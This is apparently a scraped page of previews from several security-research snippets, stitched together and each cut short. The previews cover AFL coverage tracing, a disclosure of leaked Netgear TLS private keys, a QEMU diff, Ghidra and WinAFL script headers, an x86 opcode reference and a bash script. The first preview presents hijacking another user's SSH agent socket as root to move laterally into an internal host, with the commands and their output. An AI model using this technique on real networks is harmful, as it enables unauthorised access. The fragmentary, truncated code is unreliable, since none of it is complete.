Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tld
| If you have a list of edge hashes produced by AFL (e.g. from something like this): | |
| ./afl-showmap -o foo.edges -t 500 -q -e -- ./program arg1 | |
| Re-run the program using gdb to trace the sequence of block IDs: | |
| ./collect_coverage.sh trace.txt ./program arg1 | |
| Print edges in the trace: |
There are at least two valid, signed TLS certificates that are bundled with publicly available Netgear device firmware.
These certificates are trusted by browsers on all platforms, but will surely be added to revocation lists shortly.
The firmware images that contained these certificates along with their private keys were publicly available for download through Netgear's support website, without authentication; thus anyone in the world could have retrieved these keys.
| diff --git a/accel/tcg/tcg-runtime.c b/accel/tcg/tcg-runtime.c | |
| index d0d44844..d10d51ce 100644 | |
| --- a/accel/tcg/tcg-runtime.c | |
| +++ b/accel/tcg/tcg-runtime.c | |
| @@ -167,3 +167,29 @@ void HELPER(exit_atomic)(CPUArchState *env) | |
| { | |
| cpu_loop_exit_atomic(ENV_GET_CPU(env), GETPC()); | |
| } | |
| + | |
| + |
| // Launch WinAFL with current function as hook location | |
| //@author richinseattle | |
| //@category _NEW_ | |
| //@keybinding | |
| //@menupath | |
| //@toolbar | |
| // Usage: | |
| // Install DynamoRIO and WinAFL | |
| // Add LaunchWinAFL to Ghidra scripts |
| // Copyright (C) 2019 Guillaume Valadon <[email protected]> | |
| // This program is published under a GPLv2 license | |
| /* | |
| * Decompile a function with Ghidra | |
| * | |
| * analyzeHeadless . Test.gpr -import $BINARY_NAME -postScript GhidraDecompiler.java $FUNCTION_ADDRESS -deleteProject -noanalysis | |
| * | |
| */ |
| # source:http://geocities.com/SiliconValley/heights/7052/opcode.txt | |
| From: [email protected] (Mark Hopkins) | |
| Newsgroups: alt.lang.asm | |
| Subject: A Summary of the 80486 Opcodes and Instructions | |
| (1) The 80x86 is an Octal Machine | |
| This is a follow-up and revision of an article posted in alt.lang.asm on | |
| 7-5-92 concerning the 80x86 instruction encoding. | |
| The only proper way to understand 80x86 coding is to realize that ALL 80x86 |
| #!/bin/bash | |
| cores=$1 | |
| inputdir=$2 | |
| outputdir=$3 | |
| pids="" | |
| total=`ls $inputdir | wc -l` | |
| for k in `seq 1 $cores $total` | |
| do |